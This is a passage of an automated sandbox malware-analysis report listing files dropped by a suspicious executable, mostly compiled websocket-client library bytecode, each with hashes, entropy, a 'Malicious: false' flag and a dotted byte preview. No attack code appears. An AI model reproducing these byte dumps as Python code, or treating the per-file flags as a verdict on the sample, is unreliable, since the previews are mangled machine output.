Preview:	o.......>k;gp^.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.....d.g.Z.d.a.d.e.d.d.f.d.d...Z.G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d...Z G.d.d...d...Z!d.S.)......N)...Any..Callable..Optional..Union.....)..._logging)...ABNF)...WebSocket..getdefaulttimeout).."WebSocketConnectionClosedException..WebSocketException..WebSocketTimeoutException)...SSLEOFError)...parse_url..WebSocketApp..reconnectInterval..returnc....................C...s....\|.a.d.S...N)...RECONNECT).r......r.....0C:\winnit\pw\lib\site-packages\websocket\_app.py..setReconnect+...s......r....c....................@...sf...e.Z.d.Z.d.Z.d.e.d.e.e.e.d.f...d.d.f.d.d...Z.d.e.e.e.d.f...d.e.d.d.f.d.d...Z.d.e.d.e.d.d.f.d.d...Z.d.S.)...DispatcherBasez.. DispatcherBase. ..app..ping_timeoutNr....c....................C...s....\|.\|._.\|.\|._.d.S.r....).r....r....)...selfr....r....r....r....r....

C:\recover\pw\Lib\site-packages\websocket\pycache\_app.cpython-310.pyc.75587472

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	19424
Entropy (8bit):	5.399573145314436
Encrypted:	false
SSDEEP:	384:aHJMnoF3eIfFDxNUbVr5mEtr0zSo0/3888tiYn:aHJMnoF3eIddNcrggqSo0/98ln
MD5:	BF693C85EA0FA85CB6C38844E0535220
SHA1:	0CDED30179E23251DECEAEA9C2CE4999DD930A8F
SHA-256:	31AD87B993A7C1E9DE4E850EDFDD5518429C0186EF3D98BAF6E33DDC89B4639D
SHA-512:	7BF246C51712E49646EADD30C5A629448212ED18B3443D98FFAB69188AA42D62EA9433545E424C9E8959D14C5C50D08B74D7653597BE817D2CA71B3863C92373
Malicious:	false
Preview:	o.........Sgp^.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.....d.g.Z.d.a.d.e.d.d.f.d.d...Z.G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d...Z G.d.d...d...Z!d.S.)......N)...Any..Callable..Optional..Union.....)..._logging)...ABNF)...WebSocket..getdefaulttimeout).."WebSocketConnectionClosedException..WebSocketException..WebSocketTimeoutException)...SSLEOFError)...parse_url..WebSocketApp..reconnectInterval..returnc....................C...s....\|.a.d.S...N)...RECONNECT).r......r.....1C:\recover\pw\lib\site-packages\websocket\_app.py..setReconnect+...s......r....c....................@...sf...e.Z.d.Z.d.Z.d.e.d.e.e.e.d.f...d.d.f.d.d...Z.d.e.e.e.d.f...d.e.d.d.f.d.d...Z.d.e.d.e.d.d.f.d.d...Z.d.S.)...DispatcherBasez.. DispatcherBase. ..app..ping_timeoutNr....c....................C...s....\|.\|._.\|.\|._.d.S.r....).r....r....)...selfr....r....r....r....r...

C:\recover\pw\Lib\site-packages\websocket\pycache\_cookiejar.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	1818
Entropy (8bit):	5.065739191157144
Encrypted:	false
SSDEEP:	24:QnYq+PQ2cYReITZg0ZVzD0oOBzttwutP5iIv0UdzcbVHckuxj7kV5ZFgrI:QYlPLcBI7gPBzreIv0UdzMcLgV5KI
MD5:	8AE07335F81D087E2FF34638205E5B04
SHA1:	42FE9EED11482393D0F69FC4F518CD499AC48F1F
SHA-256:	ABB94F9CDCEF6FCB6B6A955874560F3319DA1567AB9CBF48D2EEF03BF5072BE6
SHA-512:	7D56A09CD4D8AB9B2B30D20A67A5D429BBC81578248EE7CF9C19978252B64518CC4F9E2CAB2674C76E3ECB67954E209C80780284C74F3718FF702696F99867D7
Malicious:	false
Preview:	o.......>k;g_........................@...s(...d.d.l.Z.d.d.l.m.Z.....G.d.d...d...Z.d.S.)......N)...Optionalc....................@...sP...e.Z.d.Z.d.d.d...Z.d.e.e...d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.d.e.f.d.d...Z.d.S.)...SimpleCookieJar..returnNc....................C...s....i.\|._.d.S.).N)...jar)...self..r.....6C:\winnit\pw\lib\site-packages\websocket\_cookiejar.py..__init__....s......z.SimpleCookieJar.__init__..set_cookiec....................C...s....\|.r=t.j...\|...}.\|.....D.]2}.\|...d.....}.r<\|...d...s.d.\|.....}.\|.j...\|...r+\|.j...\|...n.t.j.....}.\|...\|.....\|.\|.j.\|.....<.q.d.S.d.S...N..domain...)...http..cookies..SimpleCookie..values..get..startswithr......update..lower).r....r......simple_cookie..vr......cookier....r....r......add....s..................................z.SimpleCookieJar.addc....................C...sV...\|.r't.j...\|...}.\|.....D.].}.\|...d.....}.r&\|...d...s.d.\|.....}.\|.\|.j.\|.....<.q.d.S.d.S.r....).r....r....r....r....r....r....r....r....).r....r....r....r....r....r....r....r..

C:\recover\pw\Lib\site-packages\websocket\pycache\_cookiejar.cpython-310.pyc.76335552

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1819
Entropy (8bit):	5.065839170154802
Encrypted:	false
SSDEEP:	24:znYq+Pi2cYReITZg0ZVzD0oOBzttwutP5iIv0UdzcbVHckuxj7kV5ZFgrI:zYlP9cBI7gPBzreIv0UdzMcLgV5KI
MD5:	46A0B1A6B44638A6F3480307EDBFA772
SHA1:	D5E029483DB6545BA3C3BEC10D555E8613F5CA64
SHA-256:	94C954703A69937E4EC1FC0445BB969C55D1F643CBD860E7FE804DA4DF9A3E31
SHA-512:	CE57D40359CA9FCFF40930DC54BFF5F330F91571011DD43BBF59CDDFC72D66080AD0DC1C60AEF382E8ADEAFBADF74805AB56F0E0765760F3FE9B1D5490A77A90
Malicious:	false
Preview:	o.........Sg_........................@...s(...d.d.l.Z.d.d.l.m.Z.....G.d.d...d...Z.d.S.)......N)...Optionalc....................@...sP...e.Z.d.Z.d.d.d...Z.d.e.e...d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.d.e.f.d.d...Z.d.S.)...SimpleCookieJar..returnNc....................C...s....i.\|._.d.S.).N)...jar)...self..r.....7C:\recover\pw\lib\site-packages\websocket\_cookiejar.py..__init__....s......z.SimpleCookieJar.__init__..set_cookiec....................C...s....\|.r=t.j...\|...}.\|.....D.]2}.\|...d.....}.r<\|...d...s.d.\|.....}.\|.j...\|...r+\|.j...\|...n.t.j.....}.\|...\|.....\|.\|.j.\|.....<.q.d.S.d.S...N..domain...)...http..cookies..SimpleCookie..values..get..startswithr......update..lower).r....r......simple_cookie..vr......cookier....r....r......add....s..................................z.SimpleCookieJar.addc....................C...sV...\|.r't.j...\|...}.\|.....D.].}.\|...d.....}.r&\|...d...s.d.\|.....}.\|.\|.j.\|.....<.q.d.S.d.S.r....).r....r....r....r....r....r....r....r....).r....r....r....r....r....r....r....r.

C:\recover\pw\Lib\site-packages\websocket\pycache\_core.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	18735
Entropy (8bit):	5.256882617655312
Encrypted:	false
SSDEEP:	384:55oj/9NgJxx938wlJYz2citggg7zXEjsVdTPe:5a9NE3rlO2ciU7DEYnTPe
MD5:	1F42C95ED486E864B745EB01EA578DA4
SHA1:	46D8D0AE0181FF2A1F8A0E9FF7247588B2712E7F
SHA-256:	73BF87D7E4F4323BE72430F5EEBDD28F5E40D4FCEE3AE9519D2EA90B4D6D0DBE
SHA-512:	A3B7A98AF68C30C1BFF61D14E2609AF85D5ADFFE88A54A2B2E19679E33642A719D59E10EDD7EF6066DD7D737244B204A10275659329663BE910DC642167C1386
Malicious:	false
Preview:	o.......>k;gXR.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l m!Z!..d.d.l"m#Z#....d.d.g.Z$G.d.d...d...Z%d.e%f.d.e&f.d.d...Z'd.S.)......N)...Optional..Union.....)...ABNF..STATUS_NORMAL..continuous_frame..frame_buffer)...WebSocketProtocolException."WebSocketConnectionClosedException)...SUPPORTED_REDIRECT_STATUSES..handshake)...connect..proxy_info)...debug..error..trace..isEnabledForError..isEnabledForTrace)...getdefaulttimeout..recv..send..sock_opt)...ssl)...NoLock..WebSocket..create_connectionc....................@...s ...e.Z.d.Z.d.Z.............dPd.e.d.e.d.e.f.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.e.e.e.d.f...f.d.d...Z.d.e.e.e.d.f...f.d.d...Z.e.e.e...Z.d.d...Z.e.e...Z.d.d...Z.e.e...Z.d.d...Z.d d!..Z.e.e...Z.d"d#..Z.e.j.f.d$e.e.e.f...d%e.d.e.f.d&d'..Z.d(e.d.e.f.d)d*..Z.d+e.e.e f...d.e.f.d,d-..Z!d.e.f.d.d/..Z"d$e.d.e

C:\recover\pw\Lib\site-packages\websocket\pycache\_core.cpython-310.pyc.76152512

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	18736
Entropy (8bit):	5.257007529337733
Encrypted:	false
SSDEEP:	384:y5oj/9NgJpx938wlJYz2citggg7zXEjsVdTPe:ya9Ni3rlO2ciU7DEYnTPe
MD5:	96BCD4CF26415A528BD5D43F90478571
SHA1:	99CB83FD25DD19420436DAA6A2426CF5480A31DF
SHA-256:	1D01BDD3F5ACDD9D75B9609DAAF5C79C7553B811982DB899FDD363BB25BCB6C0
SHA-512:	3101CBFD28B09205E8E83BCF967AFA2AE7FFB69A623B4D5B0A54D5464E764B39CAB5CA66EE5EC64E26C0E6DF7B0154F19DC9F1F7179FF8265431783979C1EF70
Malicious:	false
Preview:	o.........SgXR.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...d.d.l m!Z!..d.d.l"m#Z#....d.d.g.Z$G.d.d...d...Z%d.e%f.d.e&f.d.d...Z'd.S.)......N)...Optional..Union.....)...ABNF..STATUS_NORMAL..continuous_frame..frame_buffer)...WebSocketProtocolException."WebSocketConnectionClosedException)...SUPPORTED_REDIRECT_STATUSES..handshake)...connect..proxy_info)...debug..error..trace..isEnabledForError..isEnabledForTrace)...getdefaulttimeout..recv..send..sock_opt)...ssl)...NoLock..WebSocket..create_connectionc....................@...s ...e.Z.d.Z.d.Z.............dPd.e.d.e.d.e.f.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.e.e.e.d.f...f.d.d...Z.d.e.e.e.d.f...f.d.d...Z.e.e.e...Z.d.d...Z.e.e...Z.d.d...Z.e.e...Z.d.d...Z.d d!..Z.e.e...Z.d"d#..Z.e.j.f.d$e.e.e.f...d%e.d.e.f.d&d'..Z.d(e.d.e.f.d)d*..Z.d+e.e.e f...d.e.f.d,d-..Z!d.e.f.d.d/..Z"d$e.d.e

C:\recover\pw\Lib\site-packages\websocket\pycache\_exceptions.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	2924
Entropy (8bit):	5.102358169874027
Encrypted:	false
SSDEEP:	48:fC9Vw3WRenl4+h0CH31KO8ZvKJjznx8uDCDcDHMjk9LQVR3qh89CK:a9Vw3Cenl4s3HFKDZvsztDAcDsMQH79B
MD5:	EF958AFC840AD752E566B2A8CEE376C1
SHA1:	3A236C71A25C66C1B8EB1BDDACF02FDE32AFDAD9
SHA-256:	0AF31359F12D6E40F9D0E147168A002BF617AC3728C8687BC24987D0960D01E6
SHA-512:	E03C4275A9CE9135362B8BBD969226E17C84033EAFEB5D2C78C8E3F1D5629651A3D4436D01CF31E8F3853D1BB46449FCCE561D44D0FD714B485523E77FECF44E
Malicious:	false
Preview:	o.......>k;g.........................@...s....d.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).ae...._exceptions.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..c....................@........e.Z.d.Z.d.Z.d.S.)...WebSocketExceptionz$. WebSocket exception class.. N....__name__..__module__..__qualname__..__doc__..r....r.....7C:\winnit\pw\lib\site-packages

C:\recover\pw\Lib\site-packages\websocket\pycache\_exceptions.cpython-310.pyc.75125888

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2925
Entropy (8bit):	5.102255715503785
Encrypted:	false
SSDEEP:	48:QC9Vw3WRenl4+h0CH31KO8ZfxdKJjznx8uDCDcDHMjk9LQVR3qh89CK:79Vw3Cenl4s3HFKDZZdsztDAcDsMQH7v
MD5:	9B014F089E4635C85815188B5E6D252C
SHA1:	FC85F6680A1CB23394C0027AA067292F4D3DB0B8
SHA-256:	2DA485A8890342F88DF0D86677B50B27E8E3508FE0CE1FDD76F78EB99CB6BB44
SHA-512:	DF78FAD812622A3572286BA997A6D558B6B233B5B61794B74EBFC6284769148078C07AAA5F8B7609BBBACC2908200982E1CFB0998AA950E6C7258B197E95E86D
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).ae...._exceptions.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the License..c....................@........e.Z.d.Z.d.Z.d.S.)...WebSocketExceptionz$. WebSocket exception class.. N....__name__..__module__..__qualname__..__doc__..r....r.....8C:\recover\pw\lib\site-package

C:\recover\pw\Lib\site-packages\websocket\pycache\_handshake.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	5677
Entropy (8bit):	5.682523012456695
Encrypted:	false
SSDEEP:	96:/r4s3HFKqfGnOzflfe8mtj6my9mZH5yEG/Zd2ROHvNI2Mr6uURW8R6:/r33HxOOzfc8IHChd+qhRPR6
MD5:	010249E362837386F2514F1C60A51E32
SHA1:	76E1380B48B22DDC528B48D841535EE6EA9BF687
SHA-256:	28D0D8817DFEA59D977F467955E8CC9BB33E6EB5DF80FBB1C2384E4EAAC6C5DC
SHA-512:	B317564BD8B404BC4D3D73978EA26E1A82EC7B42AA7FE8B9A6A4222555C978D81455E97D1B2395FD5B95D27ADBADA6EAA07217EADE00183ADD188D10C0DAE360
Malicious:	false
Preview:	o.......>k;g.........................@...sR...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...g.d...Z.d.Z.e.j.e.j.e.j.e.j.e.j.f.Z.e.e.j.f...Z.e...Z.G.d.d...d...Z d.e!d.e!d.e"d.e!d.e f.d.d...Z#d.e!d.e!f.d.d...Z$d.e!d.e!d.e!d.e"d.e%d.e&f.d.d...Z'e.f.d.e&d.e&f.d.d...Z(d.d d!..Z)d"e!d.e&f.d#d$..Z*d.e!f.d%d&..Z+d.S.)'ad...._handshake.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the Licens

C:\recover\pw\Lib\site-packages\websocket\pycache\_handshake.cpython-310.pyc.76335216

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	5678
Entropy (8bit):	5.6818714285314424
Encrypted:	false
SSDEEP:	96:+r4s3HFKqfGnSzflfe8mtj6my9mZH5yEG/Zd2ROHvNI2Mr6uURW8R6:+r33HxOSzfc8IHChd+qhRPR6
MD5:	52E0AE837A5F92CEFE238AC098E200D0
SHA1:	85DBF172FCFD3A7000411E515B872664A37B89F6
SHA-256:	E178A8BEFDE9ACB38F4EC1C729EB345AF62FC02D355CEC020254E81A8CCBF15A
SHA-512:	9AB51275DE01CABC8DDF3C074DA908C1C047FA01CC951ECF9159DB84EE633577B15B755F8F8F3DF73EA2575733FA0ED1C5347BA6895AFF00E221A1FC0AEC4D3C
Malicious:	false
Preview:	o.........Sg.........................@...sR...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...g.d...Z.d.Z.e.j.e.j.e.j.e.j.e.j.f.Z.e.e.j.f...Z.e...Z.G.d.d...d...Z d.e!d.e!d.e"d.e!d.e f.d.d...Z#d.e!d.e!f.d.d...Z$d.e!d.e!d.e!d.e"d.e%d.e&f.d.d...Z'e.f.d.e&d.e&f.d.d...Z(d.d d!..Z)d"e!d.e&f.d#d$..Z*d.e!f.d%d&..Z+d.S.)'ad...._handshake.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specific language governing permissions and.limitations under the Licens

C:\recover\pw\Lib\site-packages\websocket\pycache\_http.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	8084
Entropy (8bit):	5.653017613729738
Encrypted:	false
SSDEEP:	192:c33H4L4DWl5HfG443QYGo3R0wTk9SJXg2QhkmYeG:c3q4DWl5/23QYGoh0icdkveG
MD5:	6AE61C192E9A0BDC8C64AC9D4B8B424A
SHA1:	70228FB6895FF2058CE8A5C0E7CB60110CD361AB
SHA-256:	F6E614B44DEBF722B8E1411E99C3CD505A0F7983EBB6E0F1C8F3811898D1E6F0
SHA-512:	CB19B74E046E31491CC51E910C973F99631A34E70C90922948F328E93B1F09FCB44C6D5FC78AF035674DAE5A5A3D523AD60204192B811C69689019361459F637
Malicious:	false
Preview:	o.......>k;g.2.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...g.d...Z.z.d.d.l.T.d.d.l.m.Z...d.d.l.m.Z...d.Z.W.n.......d.Z.G.d.d...d.e ..Z!G.d.d...d.e ..Z"G.d.d...d.e ..Z#Y.G.d.d...d...Z$d.e%d.e&f.d.d...Z'd.e%f.d.d...Z(d.e)d.ed.e&f.d d!..Z+d"d#..Z,d$e.j.d%e-f.d&d'..Z.d$e.j.d(e-f.d)d..Z/d$e.j.d.e)d.e.j.f.d+d,..Z0d$e.j.d.e&f.d-d...Z1d.S.)/a_...._http.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specifi

C:\recover\pw\Lib\site-packages\websocket\pycache\_http.cpython-310.pyc.76227736

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	8085
Entropy (8bit):	5.652383826646823
Encrypted:	false
SSDEEP:	192:733HYL4DWl5HfG443QYGo3R0wTk9SJXg2QhkmYeG:73K4DWl5/23QYGoh0icdkveG
MD5:	B0477B68735079859740F4E9D2C45294
SHA1:	D25029655DBB21D8FBCF6D0BF6B3F4DFA0151363
SHA-256:	B633018B41DA01ECE1BD5F8B122AEF19279F6C8BE12DE9C10BCF9DEEB967F0EF
SHA-512:	A925BFA0AD458BC06EBA4AA6A5629CD8D6F9AF46ADE41EA83CC1F172D9864C0F372469FD476DBA1FDAFC55E07692C0FCB90144755D9CF7A6872A88D476CC286F
Malicious:	false
Preview:	o.........Sg.2.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...g.d...Z.z.d.d.l.T.d.d.l.m.Z...d.d.l.m.Z...d.Z.W.n.......d.Z.G.d.d...d.e ..Z!G.d.d...d.e ..Z"G.d.d...d.e ..Z#Y.G.d.d...d...Z$d.e%d.e&f.d.d...Z'd.e%f.d.d...Z(d.e)d.ed.e&f.d d!..Z+d"d#..Z,d$e.j.d%e-f.d&d'..Z.d$e.j.d(e-f.d)d..Z/d$e.j.d.e)d.e.j.f.d+d,..Z0d$e.j.d.e&f.d-d...Z1d.S.)/a_...._http.py.websocket - WebSocket client library for Python..Copyright 2024 engn33r..Licensed under the Apache License, Version 2.0 (the "License");.you may not use this file except in compliance with the License..You may obtain a copy of the License at.. http://www.apache.org/licenses/LICENSE-2.0..Unless required by applicable law or agreed to in writing, software.distributed under the License is distributed on an "AS IS" BASIS,.WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied..See the License for the specifi

C:\recover\pw\Lib\site-packages\websocket\pycache\_logging.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	2413
Entropy (8bit):	4.715989610793812
Encrypted:	false
SSDEEP:	48:zspkf0xURvDMDzDf+h3X0V3fFxksmtOX5uPJPZXrnquoGgBED:ai0x803W3X0VvqtOX5uPJBloGgB4
MD5:	71A1A22BE3067693277FFB7CFDC84C55
SHA1:	3D462547B4526F6E11F5FD49A376A69A64E38A3D
SHA-256:	4B4869E338119F6DA7ED2AF66EEA389AE81CC4F5BAF9DB79F6E46C6F4A29E3CA
SHA-512:	D10F52FD6C260DA3F33A6AD3D550166DE207FD5B1EFAC95798D5A87BD314370223F7DD8A0717F95E52AC7DC19DF3CDEFFA65C5FE6B274A6E9CDB902A191DB227
Malicious:	false
Preview:	o.......>k;g.........................@...s&...d.d.l.Z...e...d...Z.z.d.d.l.m.Z...W.n...e.y$......G.d.d...d.e.j...Z.Y.n.w.e...e.......d.a.g.d...Z.e.....d.f.d.e.d.e.j.d.e.d.d.f.d.d...Z.d.e.d.e.d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.f.d.d...Z.d.e.f.d d!..Z.d.e.f.d"d#..Z.d.S.)$.....N..websocket)...NullHandlerc....................@...s....e.Z.d.Z.d.d.d...Z.d.S.).r......returnNc....................C...s....d.S...N..)...self..recordr....r.....4C:\winnit\pw\lib\site-packages\websocket\_logging.py..emit...........z.NullHandler.emit).r....N)...__name__..__module__..__qualname__r....r....r....r....r....r........s........r....F)...enableTrace..dump..error..warning..debug..trace..isEnabledForError..isEnabledForDebug..isEnabledForTrace..DEBUG..traceable..handler..levelr....c....................C...s*...\|.a.\|.r.t...\|.....t...t.t.\|.......d.S.d.S.).z.. Turn on/off the traceability... Parameters. ----------. traceable: bool.

C:\recover\pw\Lib\site-packages\websocket\pycache\_logging.cpython-310.pyc.75778736

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2414
Entropy (8bit):	4.712172098290634
Encrypted:	false
SSDEEP:	48:Ispkf0bzURvDMDzDf+h3X0V3fFxksmtOX5uPJPZXrnquoGgBED:Ji0bz803W3X0VvqtOX5uPJBloGgB4
MD5:	53E24A6F288D08F183C3A48C3BEFD3EC
SHA1:	F97916AF12384C18D1D41BA0B22B58F01FE9A5AC
SHA-256:	DBBFDF152D329B76CFE550ED5AF7A0EE0E7421FEE939B4DFEC641BE5D49E3F5A
SHA-512:	9D48803BDF1808D9ADFBEF6B512BB2585D644E77DE06FF4D80F8CEBA53D0F0FA7A58EA8732828A1E03887EC9EFE76D850591C5842774D63D2BC1ABA9F99B50A1
Malicious:	false
Preview:	o.........Sg.........................@...s&...d.d.l.Z...e...d...Z.z.d.d.l.m.Z...W.n...e.y$......G.d.d...d.e.j...Z.Y.n.w.e...e.......d.a.g.d...Z.e.....d.f.d.e.d.e.j.d.e.d.d.f.d.d...Z.d.e.d.e.d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.d.d.f.d.d...Z.d.e.f.d.d...Z.d.e.f.d d!..Z.d.e.f.d"d#..Z.d.S.)$.....N..websocket)...NullHandlerc....................@...s....e.Z.d.Z.d.d.d...Z.d.S.).r......returnNc....................C...s....d.S...N..)...self..recordr....r.....5C:\recover\pw\lib\site-packages\websocket\_logging.py..emit...........z.NullHandler.emit).r....N)...__name__..__module__..__qualname__r....r....r....r....r....r........s........r....F)...enableTrace..dump..error..warning..debug..trace..isEnabledForError..isEnabledForDebug..isEnabledForTrace..DEBUG..traceable..handler..levelr....c....................C...s*...\|.a.\|.r.t...\|.....t...t.t.\|.......d.S.d.S.).z.. Turn on/off the traceability... Parameters. ----------. traceable: bool

C:\recover\pw\Lib\site-packages\websocket\pycache\_socket.cpython-310.pyc

Process:	C:\Users\user\Desktop\vUlh7stUHJ.exe
File Type:	data
Category:	dropped
Size (bytes):	4035
Entropy (8bit):	5.405001655282143
Encrypted:	false
SSDEEP:	96:jJkFTznpUXHQ9VTyHLDPEoFgTHX+S6VAqcm1MlMfs:jynnmXoTUsoUuSE11IMfs
MD5:	83166E5FF602E0A7E6E2AD01899AE5AF
SHA1:	324A8E3E9D9FA8E34C8CBC832B63E75552496727
SHA-256:	905C4A7EAD58611376EB37288385686C04A28DC2B0A8902E922F7CC35A8648AB
SHA-512:	D0B8A6D12E9D8A848714957314897D2514B754F095E02E946B23BF28CA10D108947577D3331DB3A0DCE33634F6ED0E97499036C0135035AB939052715BF2FFC1
Malicious:	false
Preview:	o.......>k;gN........................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.....e.j.e.j.d.f.g.Z.e.e.d...rDe...e.j.e.j.d.f.....e.e.d...rSe...e.j.e.j.d.f.....e.e.d...rbe...e.j.e.j.d.f.....e.e.d...rqe...e.j.e.j.d.f.....d.a.g.d...Z.G.d.d...d...Z.d.e.e.e.d.f...d.d.f.d.d...Z.d.e.e.e.d.f...f.d.d...Z.d.e.j.d.e.d.e f.d.d...Z!d.e.j.d.e f.d.d...Z"d.e.j.d.e.e e#f...d.e.f.d.d...Z$d.S.) .....N)...Union.....).."WebSocketConnectionClosedException..WebSocketTimeoutException)...SSLError..SSLWantReadError..SSLWantWriteError)...extract_error_code..extract_err_message..SO_KEEPALIVE..TCP_KEEPIDLE.......TCP_KEEPINTVL.......TCP_KEEPCNT.....)...DEFAULT_SOCKET_OPTION..sock_opt..setdefaulttimeout..getdefaulttimeout..recv..recv_line..sendc....................@...s"...e.Z.d.Z.d.e.d.e.d.d.f.d.d...Z.d.S.).r......sockopt..sslopt..returnNc....................C...s....\|.d.u.r.g.}.\|.d.u.r.i.}.\|.\|._.\|.\|._.d.\|._.d.S...N).r....r......timeout)...selfr....r......r.....3

C:\recover\pw\Lib\site-packages\websocket\pycache\_socket.cpython-310.pyc.76228776

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	4036
Entropy (8bit):	5.403988278408934
Encrypted:	false
